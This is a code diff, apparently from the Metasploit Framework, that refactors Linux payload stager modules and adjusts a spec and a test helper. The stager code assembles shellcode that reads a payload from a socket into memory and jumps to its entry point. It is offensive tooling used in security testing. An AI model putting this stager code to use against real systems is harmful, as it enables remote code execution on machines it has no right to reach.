Metasm::Shellcode.assemble(Metasm::X64.new, asm_intermediate_stage(payload)).encode_string
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
midstager = generate_intermediate_stage(payload)
|
||||
vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
|
||||
conn.put(midstager) == midstager.length
|
||||
end
|
||||
|
||||
@@ -34,10 +34,10 @@ module MetasploitModule
|
||||
elf.elf_header.e_entry
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
def asm_intermediate_stage(payload)
|
||||
entry_offset = elf_ep(payload)
|
||||
|
||||
midstager_asm = %(
|
||||
%(
|
||||
push edi ; save sockfd
|
||||
xor ebx, ebx ; address
|
||||
mov ecx, #{payload.length} ; length
|
||||
@@ -85,8 +85,14 @@ module MetasploitModule
|
||||
add edx, eax
|
||||
jmp edx
|
||||
)
|
||||
end
|
||||
|
||||
midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string
|
||||
def generate_intermediate_stage(payload)
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, asm_intermediate_stage(payload)).encode_string
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
midstager = generate_intermediate_stage(payload)
|
||||
vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
|
||||
conn.put(midstager) == midstager.length
|
||||
end
|
||||
|
||||
@@ -41,7 +41,7 @@ RSpec.describe Msf::Module do
|
||||
}
|
||||
|
||||
it { is_expected.to respond_to :cached? }
|
||||
it { is_expected.to respond_to :is_usable }
|
||||
it { is_expected.to respond_to :usable? }
|
||||
end
|
||||
|
||||
describe "cloning modules into replicants" do
|
||||
|
||||
@@ -3,6 +3,8 @@ require 'stringio'
|
||||
|
||||
ENV['RAILS_ENV'] = 'test'
|
||||
|
||||
require File.expand_path('../../config/rails_bigdecimal_fix', __FILE__)
|
||||
|
||||
# @note must be before loading config/environment because railtie needs to be loaded before
|
||||
# `Metasploit::Framework::Application.initialize!` is called.
|
||||
#
|
||||
|
||||
Reference in New Issue
Block a user